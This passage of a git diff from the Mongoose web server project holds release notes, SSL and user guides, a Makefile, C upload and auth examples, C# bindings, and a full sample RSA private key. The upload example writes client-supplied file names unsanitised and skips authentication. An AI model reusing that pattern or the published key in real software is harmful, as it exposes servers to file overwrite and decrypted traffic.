as well as Mongoose library itself, will never be closed.
|
||||||
|
* Multiple bug fixes and minor enhancements
|
||||||
|
|
||||||
|
## Release 5.1, Jan 10 2014
|
||||||
|
|
||||||
|
* CGI-related bugs where fixed, primarily for Windows platform
|
||||||
|
* Bugs on Windows related to UNICODE support were fixed
|
||||||
|
* Added a feature to support "error pages" through redirect.
|
||||||
|
Done using `-url_redirects` option, details are on
|
||||||
|
http://cesanta.com/docs/Options.shtml
|
||||||
|
|
||||||
|
## Release 5.0, Jan 6 2014
|
||||||
|
|
||||||
|
* Internal core has been changed from blocking, thread-per-connection to
|
||||||
|
non-blocking, asynchronous, one thread for all.
|
||||||
|
* API modification for server creation and response creation. That allowed
|
||||||
|
keep-alive support for dynamic requests, boosting the embedded performance
|
||||||
|
to 100+ thousands requests per second on a single core
|
||||||
|
(as measured on my development MacBook laptop)
|
||||||
|
* Unified handling of POST requests and Websocket requests by putting a
|
||||||
|
payload into `conn->content`, `conn->content_len` attributes.
|
||||||
|
That simplified user code and eliminated the need of `mg_read()`,
|
||||||
|
since mongoose buffers all data prior to calling the callback
|
||||||
|
* keep-alive support is the default
|
||||||
|
* Dropped SSI support and throttling support
|
||||||
|
* Several configuraition parameters are gone:
|
||||||
|
* `cgi_environment` (replaced with MONGOOSE_CGI),
|
||||||
|
* `protect_uri` (not useful)
|
||||||
|
* `ssi_pattern` (SSI support is gone)
|
||||||
|
* `throttle` (throttling support is gone)
|
||||||
|
* `error_log_file` (not used)
|
||||||
|
* `enable_keep_alive` (enabled by default)
|
||||||
|
* `listening_ports` (renamed to listening_port)
|
||||||
|
* `num_threads` (core has changed to single thread)
|
||||||
|
* `put_delete_auth_file` (renamed to dav_auth_file)
|
||||||
|
* `authentication_domain` (renamed to auth_domain)
|
||||||
|
* Due to the async, non-blocking nature of the core, few restrictions
|
||||||
|
are now in place:
|
||||||
|
* user callbacks must not block
|
||||||
|
* POST and Websocket data are now buffered, and cannot be huge
|
||||||
|
* mongoose is now capable on listening on only one port
|
||||||
|
|
||||||
|
## Release 4.1, Oct 2013
|
||||||
|
## Release 4.0, Oct 2013
|
||||||
|
## Release 3.8, Sep 2013
|
||||||
|
|
||||||
|
## Release 3.7, Feb 2 2013
|
||||||
|
|
||||||
|
* Added "redirect to SSL port" functionality, e.g. if you specify
|
||||||
|
`-listening_ports 8080r,8043s`
|
||||||
|
then all requests to HTTP port 8080 will be redirected to HTTPS port 8043
|
||||||
|
* Added `mg_download()` API, an HTTP client interface!
|
||||||
|
* Lua server pages now must output HTTP headers -- full control for Lua
|
||||||
|
* Added pre-built binary for MacOS, with initial GUI support
|
||||||
|
* API change: got rid of events, moved to struct `mg_callbacks`
|
||||||
|
* Bugfixes, thanks to contributors
|
||||||
|
|
||||||
|
|
||||||
|
## Release 3.7, Jan 18 2013
|
||||||
|
* Fixed source code archive (main.c was missing)
|
||||||
|
* Extended Windows GUI functionality:
|
||||||
|
* Added "Start browser" systray popup menu item
|
||||||
|
* Enhanced configuration editor
|
||||||
|
* Renamed config options:
|
||||||
|
* `put_delete_passwords_file` -> `put_delete_auth_file`
|
||||||
|
* `global_passwords_file` -> `global_auth_file`
|
||||||
|
* `select()` changed to `poll()`, to avoid big file descriptor
|
||||||
|
`FD_SET` problem on UNIX
|
||||||
|
* Couple of bugfixes, thanks to contributors
|
||||||
|
|
||||||
|
|
||||||
|
Eearlier release notes could be found by searching
|
||||||
|
[Mongoose mailing list](https://groups.google.com/forum/#!forum/mongoose-users)
|
||||||
+75
@@ -0,0 +1,75 @@
|
|||||||
|
# Mongoose SSL guide
|
||||||
|
|
||||||
|
SSL is a protocol that makes web communication secure. To enable SSL
|
||||||
|
in mongoose, 3 steps are required:
|
||||||
|
|
||||||
|
1. Valid certificate file must be created
|
||||||
|
2. `ssl_certificate` options must be set to contain path to the
|
||||||
|
certificate file.
|
||||||
|
3. `listening_ports` option must contain a port number with letter `s`
|
||||||
|
appended to it, which instructs Mongoose to use SSL for all connections
|
||||||
|
made to that port.
|
||||||
|
|
||||||
|
Below is the `mongoose.conf` file snippet for typical SSL setup:
|
||||||
|
|
||||||
|
document_root www_root # Serve files in www_root directory
|
||||||
|
listening_ports 80r,443s # Redirect all HTTP requests to HTTPS
|
||||||
|
ssl_certificate ssl_cert.pem # Location of certificate file
|
||||||
|
|
||||||
|
## How to create SSL certificate file
|
||||||
|
|
||||||
|
SSL certificate file is a text file that must contain at least two
|
||||||
|
sections:
|
||||||
|
|
||||||
|
1. A private key
|
||||||
|
2. A certificate
|
||||||
|
|
||||||
|
Both sections should be chunks of text in PEM format. When PEM file is
|
||||||
|
opened in a text editor, it looks like this:
|
||||||
|
|
||||||
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
|
||||||
|
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
|
||||||
|
-----END RSA PRIVATE KEY-----
|
||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
|
||||||
|
SEGI4JSxV56lYg==
|
||||||
|
-----END CERTIFICATE-----
|
||||||
|
|
||||||
|
Two aforementioned sections are clearly seen. Typically, those section
|
||||||
|
are bigger then in the example shown. The text between the `BEGIN` and
|
||||||
|
`END` is the text representation of binary data, a private key and a
|
||||||
|
certificate. Therefore, in order to create a certificate file,
|
||||||
|
|
||||||
|
* private key must be converted to PEM format
|
||||||
|
* certificate must be converted to PEM format
|
||||||
|
* those two should be concatenated into a single file
|
||||||
|
|
||||||
|
If the certificate chain in used, a chain file also needs to be
|
||||||
|
converted into PEM format and appended to the certificate file.
|
||||||
|
|
||||||
|
## How SSL works
|
||||||
|
|
||||||
|
SSL is a protocol that can encrypt communication between two parties. If third
|
||||||
|
party observes all messages passed by, it would be very
|
||||||
|
hard for the third party (though not impossible) to decrypt the communication.
|
||||||
|
|
||||||
|
The idea is based on so-called public key encryption. Communicating parties
|
||||||
|
have two keys: a public key and a private key. A public key is advertised
|
||||||
|
to everybody, and it is contained in a certificate. A private key is kept
|
||||||
|
secret. Security algorithm works in a way that anybody can encrypt
|
||||||
|
a message using public key, and only private key can decrypt it.
|
||||||
|
|
||||||
|
This is why web server needs both private key and certificate: private key
|
||||||
|
is used to decrypt incoming messages, and certificate is used to tell the
|
||||||
|
public key to the other party. When communication starts, parties exchange
|
||||||
|
their public keys, and keep private keys to themselves. Man-in-the-middle
|
||||||
|
who observes the communication is unable to decrypt the messages cause
|
||||||
|
private keys are required for decryption.
|
||||||
|
|
||||||
|
Encryption algorithms are built on top of hard mathematical problem, which
|
||||||
|
makes it very expensive for man-in-the-middle to compute private keys.
|
||||||
|
For example, RSA algorithm is based on a mathematical problem of factorization.
|
||||||
|
It is easy to generate two very large prime numbers `P` and `Q` and make
|
||||||
|
a product `P * Q`. But given a product, it is very hard to recover these
|
||||||
|
two prime numbers - this is called factorization.
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
# Mongoose User Guide
|
||||||
|
|
||||||
|
Mongoose is small and easy to use web server built on top of
|
||||||
|
mongoose library. It is designed with maximum simplicity in mind. For example,
|
||||||
|
to share any directory, just drop mongoose executable in that directory,
|
||||||
|
double-click it (on UNIX, run it from shell) and launch a browser at
|
||||||
|
[http://localhost:8080](http://localhost:8080) Note that 'localhost' should
|
||||||
|
be changed to a machine's name if a folder is accessed from other computer.
|
||||||
|
|
||||||
|
On Windows and Mac, Mongoose iconifies itself to the system tray when started.
|
||||||
|
Right-click on the icon to pop up a menu, where it is possible to stop
|
||||||
|
mongoose, or configure it.
|
||||||
|
|
||||||
|
On UNIX, `mongoose` is a command line utility. Running `mongoose` in
|
||||||
|
terminal, optionally followed by configuration parameters
|
||||||
|
(`mongoose [OPTIONS]`) or configuration file name
|
||||||
|
(`mongoose [config_file_name]`) starts the
|
||||||
|
web server:
|
||||||
|
|
||||||
|
$ mongoose -document_root /var/www # Running mongoose with cmdline options
|
||||||
|
$ mongoose /etc/my_config.txt # Running mongoose with config file
|
||||||
|
$ mongoose # Running with no parameters. This will
|
||||||
|
# serve current directory on port 8080
|
||||||
|
|
||||||
|
Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
|
||||||
|
stops the server.
|
||||||
|
|
||||||
|
When started, mongoose first searches for the configuration file.
|
||||||
|
If configuration file is specified explicitly in the command line, then
|
||||||
|
specified configuration file is used.
|
||||||
|
Otherwise, mongoose would search for file `mongoose.conf` in the same directory
|
||||||
|
where binary is located, and use it. Configuration file can be absent.
|
||||||
|
|
||||||
|
Configuration file is a sequence of lines, each line containing
|
||||||
|
command line argument name and it's value. Empty lines and lines beginning
|
||||||
|
with `#` are ignored. Here is the example of `mongoose.conf` file:
|
||||||
|
|
||||||
|
# This is a comment
|
||||||
|
document_root C:\www
|
||||||
|
listening_port 80
|
||||||
|
ssl_certificate C:\mongoose\ssl_cert.pem
|
||||||
|
|
||||||
|
Command line arguments are highest priority and can override
|
||||||
|
configuration file settings. For example, if `mongoose.conf` has line
|
||||||
|
`document_root /var/www`, and mongoose has been started as
|
||||||
|
`mongoose -document_root /etc`, then `/etc` directory will be used as
|
||||||
|
document root.
|
||||||
|
|
||||||
|
Note that configuration options on the command line must start with `-`,
|
||||||
|
and their names are the same as in the config file. Exampli gratia,
|
||||||
|
the following two setups are equivalent:
|
||||||
|
|
||||||
|
$ mongoose -listening_port 1234 -document_root /var/www
|
||||||
|
|
||||||
|
$ cat > mongoose.conf
|
||||||
|
listening_ports 1234
|
||||||
|
document_root /var/www
|
||||||
|
^D
|
||||||
|
$ mongoose
|
||||||
|
|
||||||
|
Mongoose can also be used to modify `.htpasswd` passwords file:
|
||||||
|
|
||||||
|
$ mongoose -A .htpasswd mydomain.com user_name user_password
|
||||||
|
|
||||||
|
Unlike other web servers, mongoose does not require CGI scripts be located in
|
||||||
|
a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
|
||||||
|
recognized by the file name pattern. Mongoose uses shell-like glob
|
||||||
|
patterns. Pattern match starts at the beginning of the string, so essentially
|
||||||
|
patterns are prefix patterns. Syntax is as follows:
|
||||||
|
|
||||||
|
** Matches everything
|
||||||
|
* Matches everything but slash character, '/'
|
||||||
|
? Matches any character
|
||||||
|
$ Matches the end of the string
|
||||||
|
| Matches if pattern on the left side or the right side matches.
|
||||||
|
|
||||||
|
All other characters in the pattern match themselves. Examples:
|
||||||
|
|
||||||
|
# Pattern Meaning
|
||||||
|
**.cgi$ Any string that ends with .cgi
|
||||||
|
/foo Any string that begins with /foo
|
||||||
|
**a$|**b$ Any string that ends with a or b
|
||||||
|
|
||||||
|
To restrict CGI files only to `/cgi-bin/` directory, use this setting:
|
||||||
|
|
||||||
|
$ mongoose -cgi_pattern /cgi-bin/*.cgi # Emulate /cgi-bin/ restriction
|
||||||
+77
-6
@@ -1,7 +1,78 @@
|
|||||||
CFLAGS= -W -Wall -I.. -pthread -g
|
CFLAGS = -W -Wall -I.. -pthread -g -pipe $(CFLAGS_EXTRA)
|
||||||
|
RM = rm -rf
|
||||||
|
OUT = -o $@
|
||||||
|
|
||||||
all:
|
ifeq ($(OS),Windows_NT)
|
||||||
OS=`uname`; \
|
MSVC = ../../vc6
|
||||||
test "$$OS" = Linux && LIBS="-ldl" ; \
|
RM = del /q /f
|
||||||
$(CC) $(CFLAGS) hello.c ../mongoose.c $$LIBS $(ADD) -o hello;
|
OUT =
|
||||||
$(CC) $(CFLAGS) chat.c ../mongoose.c $$LIBS $(ADD) -o chat
|
CC = $(MSVC)/bin/cl
|
||||||
|
CFLAGS = /MD /TC /nologo /W3 /I$(MSVC)/include /I..
|
||||||
|
CFLAGS += /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
|
||||||
|
CFLAGS += $(CFLAGS_EXTRA)
|
||||||
|
else
|
||||||
|
UNAME_S := $(shell uname -s)
|
||||||
|
CC = g++
|
||||||
|
CFLAGS += -lssl -g -O0
|
||||||
|
|
||||||
|
ifeq ($(UNAME_S),Linux)
|
||||||
|
CFLAGS += -ldl
|
||||||
|
endif
|
||||||
|
|
||||||
|
ifeq ($(UNAME_S),Darwin)
|
||||||
|
endif
|
||||||
|
endif
|
||||||
|
|
||||||
|
all: hello websocket server post multi_threaded upload auth
|
||||||
|
|
||||||
|
# To enable Lua in a server, uncomment following lines
|
||||||
|
LUA = ../lua-5.2.3/src
|
||||||
|
#CFLAGS += -I$(LUA) -L$(LUA) -llua -DMONGOOSE_USE_LUA
|
||||||
|
|
||||||
|
server: server.c ../mongoose.c
|
||||||
|
$(CC) server.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
hello: hello.c ../mongoose.c
|
||||||
|
$(CC) hello.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
websocket: websocket_html.c websocket.c ../mongoose.c
|
||||||
|
$(CC) websocket.c websocket_html.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
post: post.c ../mongoose.c
|
||||||
|
$(CC) post.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
multi_threaded: multi_threaded.c ../mongoose.c
|
||||||
|
$(CC) multi_threaded.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
upload: upload.c ../mongoose.c
|
||||||
|
$(CC) upload.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
auth: auth.c ../mongoose.c
|
||||||
|
$(CC) auth.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
file: file.c ../mongoose.c
|
||||||
|
$(CC) file.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
form: form.c ../mongoose.c
|
||||||
|
$(CC) form.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
mjpg: mjpg.c ../mongoose.c
|
||||||
|
$(CC) mjpg.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
pubsub: websocket2.c ../mongoose.c
|
||||||
|
$(CC) websocket2.c ../mongoose.c $(OUT) $(CFLAGS)
|
||||||
|
|
||||||
|
|
||||||
|
proxy: proxy.c ../mongoose.c
|
||||||
|
$(CC) proxy.c ../mongoose.c $(OUT) \
|
||||||
|
-I../../net_skeleton -DNS_ENABLE_SSL -lssl $(CFLAGS)
|
||||||
|
|
||||||
|
websocket_html.c: websocket.html
|
||||||
|
perl mkdata.pl $< > $@
|
||||||
|
|
||||||
|
u:
|
||||||
|
$(CC) unit_test.c $(OUT) $(CFLAGS)
|
||||||
|
./$@
|
||||||
|
|
||||||
|
clean:
|
||||||
|
-@$(RM) hello mjpg upload post websocket auth file server multi_threaded proxy websocket_html.c *.exe *.dSYM *.obj .*o u a.out
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
|
||||||
|
if (ev == MG_AUTH) {
|
||||||
|
int result = MG_FALSE; // Not authorized
|
||||||
|
FILE *fp;
|
||||||
|
|
||||||
|
// To populate passwords file, do
|
||||||
|
// mongoose -A my_passwords.txt mydomain.com admin admin
|
||||||
|
if ((fp = fopen("my_passwords.txt", "r")) != NULL) {
|
||||||
|
result = mg_authorize_digest(conn, fp);
|
||||||
|
fclose(fp);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
return MG_FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||||
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
mg_set_option(server, "document_root", ".");
|
||||||
|
|
||||||
|
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 1000);
|
||||||
|
}
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
struct file_data {
|
||||||
|
FILE *fp;
|
||||||
|
const char *data;
|
||||||
|
int data_len;
|
||||||
|
int written;
|
||||||
|
};
|
||||||
|
|
||||||
|
static int handle_request(struct mg_connection *conn) {
|
||||||
|
const char *data;
|
||||||
|
int data_len;
|
||||||
|
char var_name[100], file_name[100], path[100];
|
||||||
|
|
||||||
|
if (strcmp(conn->uri, "/upload") == 0) {
|
||||||
|
if (mg_parse_multipart(conn->content, conn->content_len,
|
||||||
|
var_name, sizeof(var_name),
|
||||||
|
file_name, sizeof(file_name),
|
||||||
|
&data, &data_len) > 0) {
|
||||||
|
struct file_data *p = (struct file_data *) malloc(sizeof(*p));
|
||||||
|
snprintf(path, sizeof(path), "UPLOAD_%s", file_name);
|
||||||
|
p->fp = fopen(path, "wb");
|
||||||
|
p->data = data;
|
||||||
|
p->data_len = data_len;
|
||||||
|
p->written = 0;
|
||||||
|
conn->connection_param = p;
|
||||||
|
mg_send_header(conn, "Content-Type", "text/html");
|
||||||
|
}
|
||||||
|
return MG_MORE; // Tell mongoose to keep this connection open
|
||||||
|
} else {
|
||||||
|
mg_printf_data(conn, "%s",
|
||||||
|
"<html><body>Upload example."
|
||||||
|
"<form method=\"POST\" action=\"/upload\" "
|
||||||
|
" enctype=\"multipart/form-data\">"
|
||||||
|
"<input type=\"file\" name=\"file\" /> <br/>"
|
||||||
|
"<input type=\"submit\" value=\"Upload\" />"
|
||||||
|
"</form></body></html>");
|
||||||
|
return MG_TRUE; // Tell mongoose to close this connection
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int handle_poll(struct mg_connection *conn) {
|
||||||
|
struct file_data *p = (struct file_data *) conn->connection_param;
|
||||||
|
if (p != NULL) {
|
||||||
|
// Write no more then 100 bytes in one go
|
||||||
|
int len = p->data_len - p->written;
|
||||||
|
int n = fwrite(p->data + p->written, 1, len > 100 ? 100 : len, p->fp);
|
||||||
|
if (n > 0) {
|
||||||
|
p->written += n;
|
||||||
|
mg_send_data(conn, " ", 1); // Send something back to wake up select()
|
||||||
|
}
|
||||||
|
|
||||||
|
// If everything is written, close the connection
|
||||||
|
if (p->written >= p->data_len) {
|
||||||
|
mg_printf_data(conn, "Written %d bytes.", p->written);
|
||||||
|
fclose(p->fp);
|
||||||
|
free(p);
|
||||||
|
conn->connection_param = NULL;
|
||||||
|
return MG_TRUE; // Tell mongoose to close this connection
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return MG_FALSE; // Tell mongoose to keep this connection open
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
switch (ev) {
|
||||||
|
case MG_AUTH: return MG_TRUE;
|
||||||
|
case MG_REQUEST: return handle_request(conn);
|
||||||
|
case MG_POLL: return handle_poll(conn);
|
||||||
|
default: return MG_FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||||
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
// This file is part of mongoose web server project,
|
||||||
|
// https://github.com/cesanta/mongoose
|
||||||
|
|
||||||
|
using System;
|
||||||
|
|
||||||
|
public class Program {
|
||||||
|
static private int EventHandler(IntPtr conn_ptr, int ev) {
|
||||||
|
MongooseConnection conn = (MongooseConnection)
|
||||||
|
System.Runtime.InteropServices.Marshal.PtrToStructure(
|
||||||
|
conn_ptr , typeof(MongooseConnection));
|
||||||
|
|
||||||
|
if (ev == 102) {
|
||||||
|
// MG_AUTH
|
||||||
|
return 1;
|
||||||
|
} else if (ev == 103) {
|
||||||
|
// MG_REQUEST
|
||||||
|
Mongoose.send_data(conn_ptr, "Hello from C#!\n");
|
||||||
|
Mongoose.send_data(conn_ptr, "URI: " + conn.uri + "\n");
|
||||||
|
Mongoose.send_data(conn_ptr, "HTTP Headers:\n");
|
||||||
|
|
||||||
|
for (int i = 0; i < conn.num_headers; i++) {
|
||||||
|
IntPtr name = conn.http_headers[i].name;
|
||||||
|
IntPtr val = conn.http_headers[i].value;
|
||||||
|
System.Runtime.InteropServices.Marshal.PtrToStringAnsi(name);
|
||||||
|
Mongoose.send_data(conn_ptr, " " +
|
||||||
|
System.Runtime.InteropServices.Marshal.PtrToStringAnsi(name) + ": " +
|
||||||
|
System.Runtime.InteropServices.Marshal.PtrToStringAnsi(val) + "\n");
|
||||||
|
}
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void Main() {
|
||||||
|
Mongoose web_server = new Mongoose(".", "9001",
|
||||||
|
new MongooseEventHandler(EventHandler));
|
||||||
|
|
||||||
|
Console.WriteLine("Mongoose started, press Ctrl-C to exit.");
|
||||||
|
for (;;) {
|
||||||
|
web_server.poll(1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
// This file is part of mongoose web server project,
|
||||||
|
// https://github.com/cesanta/mongoose
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr name;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr value;
|
||||||
|
};
|
||||||
|
|
||||||
|
// mongoose.h :: struct mg_connection
|
||||||
|
[StructLayout(LayoutKind.Sequential)] public struct MongooseConnection {
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] public string request_method;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] public string uri;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] public string http_version;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] public string query_string;
|
||||||
|
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray,SizeConst=48)] public char[] remote_ip;
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] public string local_ip;
|
||||||
|
[MarshalAs(UnmanagedType.U2)] public short remote_port;
|
||||||
|
[MarshalAs(UnmanagedType.U2)] public short local_port;
|
||||||
|
|
||||||
|
[MarshalAs(UnmanagedType.SysInt)] public int num_headers;
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray,SizeConst=30)]
|
||||||
|
public MongooseHeader[] http_headers;
|
||||||
|
|
||||||
|
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr content;
|
||||||
|
[MarshalAs(UnmanagedType.SysInt)] public int content_len;
|
||||||
|
|
||||||
|
[MarshalAs(UnmanagedType.SysInt)] public int is_websocket;
|
||||||
|
[MarshalAs(UnmanagedType.SysInt)] public int status_code;
|
||||||
|
[MarshalAs(UnmanagedType.SysInt)] public int wsbits;
|
||||||
|
};
|
||||||
|
|
||||||
|
public delegate int MongooseEventHandler(IntPtr c, int ev);
|
||||||
|
|
||||||
|
public class Mongoose {
|
||||||
|
public const string dll_ = "mongoose";
|
||||||
|
private IntPtr server_;
|
||||||
|
|
||||||
|
[DllImport(dll_)] private static extern IntPtr
|
||||||
|
mg_create_server(IntPtr user_data, MongooseEventHandler eh);
|
||||||
|
[DllImport(dll_)] private static extern int
|
||||||
|
mg_poll_server(IntPtr server, int milli);
|
||||||
|
[DllImport(dll_)] private static extern IntPtr
|
||||||
|
mg_set_option(IntPtr server, string name, string value);
|
||||||
|
[DllImport(dll_)] public static extern int
|
||||||
|
mg_send_data(IntPtr conn, string data, int length);
|
||||||
|
|
||||||
|
public Mongoose(string document_root,
|
||||||
|
string listening_port,
|
||||||
|
MongooseEventHandler event_handler) {
|
||||||
|
server_ = mg_create_server(IntPtr.Zero, event_handler);
|
||||||
|
mg_set_option(server_, "document_root", document_root);
|
||||||
|
mg_set_option(server_, "listening_port", listening_port);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int send_data(IntPtr conn, string data) {
|
||||||
|
return mg_send_data(conn, data, data.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void poll(int milli) {
|
||||||
|
mg_poll_server(server_, milli);
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO: add destructor and call mg_destroy_server()
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
MIIEpAIBAAKCAQEA8FV466yTGIUkJqjBv2CTU/HeYKXYd7D6m8fY9daRLm9cKPhB
|
||||||
|
kPvLyhdenOH88uAAYqmKf2dZvP5SxFnBKT52Hr0XpUfC8Y3iVjHxwMgNRaiSkfDP
|
||||||
|
mIEb2qcpJoMrdos/ff46itqwr9wW3+7kjRlxM1Mu5pq4EibSHeVyaPWVCgENcA1m
|
||||||
|
4beQujI1SSBkLOfmgpw/SsyzyTgXm+kOdj7vKy3EbXseGPtHJ04oZ7qwol1NFrrq
|
||||||
|
HwO87HWHxyQr7uJ4TBH37gL7QCdjHsOdN94alxEUWTRfmzZFXVlsTnq5DBnnGhtq
|
||||||
|
ibpUC8WeI3QiFNtTBKkHviAm+6iWW6gG2TO4twIDAQABAoIBAHxLWBxaxkB6KzYr
|
||||||
|
NPirE8boYiAN5aQRTarfcp/B9pfTVBCERDSdZMoByBbO8akSnGBqWoyFgO2zgk62
|
||||||
|
NKYF/cTr+pyqPnH69UGq1uLjE6ohApyjtFmk/CjbJvcaA5JtdcrNfq1taM+qvdHW
|
||||||
|
lTE8JUVsEeeFwQjyNtzrW35Y9FmVLSmMNsESChLnrsa7IxwnfRpHc+hmj+7lxZO6
|
||||||
|
ZzAaCCo9qHR1Ddi5f+0DJoXGBBGOk6C4BWLaV+fHPcsYHESrepitGfS96AQ0Wspn
|
||||||
|
qqtAp6jv+iIfgpohYylIjOPcHf3dXpINTxwz/r3XicqBaSAx2lXb+vnxERmagGKC
|
||||||
|
RUpELVECgYEA/EHUDwJRBUMvGXjRQO9R0JLp59U2UZOvAjmIAHkLM/48k8//kpgJ
|
||||||
|
CDUVvuyQUfwCphmaiAm5BZfDbmhBEirjCai8fYkrGugQl9H1YrVsi+UhQudnSRM0
|
||||||
|
7plKIb9nz9by31J1iu5YHTpovO5MQjH5UP1boqAioBNoBuzFI0QK1uMCgYEA8+Za
|
||||||
|
0NDocnE+V2NpRag+oMbM/LBgSWyk49NXYUOhuv4CZ8f20nFYx6p9RLD0ICUOxC3B
|
||||||
|
TkHybnGhRjuR+LkbuynW2wM2+jwcLe+ZPnXZsNKJwST9fzus06BWHyBTJHfhUDO3
|
||||||
|
cq6PUDJua6NQa++rj+ur1LSFPuwnC+X2FxMd6x0CgYEAweyhZ4ByZMdHWB+nTnIs
|
||||||
|
xVmL9CvW/FO6gM1Vnndvg2L5kvCeG0ZB+0tEEmiucjh4mNSqFdbTpFcNaL1A+QR7
|
||||||
|
UZukfCWNO7wXtX81U9MBRXK6ZUKcBnN7h8nUUalh10f5onEz58BfgOi8SDIx8dmV
|
||||||
|
Pwvm/Fh7BfClUl2HGBtg8d0CgYBEDWwdg4y4EdzhKT3AT9dZqN6dSuEy23uOjfN9
|
||||||
|
kg9YS3OEXYkC4tlwrKNTPUSAi5Z5KoMbQM9R/aaQICL0kUGpkVz/sv/uBkOelZHe
|
||||||
|
madp7PS+zYFltNLeIYimGrDYJhLZ+/QdrZMTP18L7X+M/kySVaGWMeBT1DR432sw
|
||||||
|
uQbKCQKBgQC9D9fxDXCFxJmJc2Cp8ZYQha4Oc10JsanM1DM1YWIaOILfoExz46vZ
|
||||||
|
UJzRfe2LkkhhRN9YG4ZW6zJ1E/HZSjKC2iwHog/4bDjykVPrFIfPdWS2C1CQF/Jq
|
||||||
|
tYnHTpuxE3JFXZrLXbDobFKbxHOZRdlSUu8NK/V507Y34NaMPHnffw==
|
||||||
|
-----END RSA PRIVATE KEY-----
|
||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIID4DCCAsigAwIBAgIJAM1yCH8CR4Z+MA0GCSqGSIb3DQEBBQUAMFMxFDASBgNV
|
||||||
|
BAMTC2Nlc2FudGEuY29tMR0wGwYDVQQKExRDZXNhbnRhIFNvZnR3YXJlIEx0ZDEL
|
||||||
|
MAkGA1UEBhMCSUUxDzANBgNVBAcTBkR1YmxpbjAeFw0xNDA2MjcxMDUwNTBaFw0y
|
||||||
|
NDA2MjQxMDUwNTBaMFMxFDASBgNVBAMTC2Nlc2FudGEuY29tMR0wGwYDVQQKExRD
|
||||||
|
ZXNhbnRhIFNvZnR3YXJlIEx0ZDELMAkGA1UEBhMCSUUxDzANBgNVBAcTBkR1Ymxp
|
||||||
|
bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPBVeOuskxiFJCaowb9g
|
||||||
|
k1Px3mCl2Hew+pvH2PXWkS5vXCj4QZD7y8oXXpzh/PLgAGKpin9nWbz+UsRZwSk+
|
||||||
|
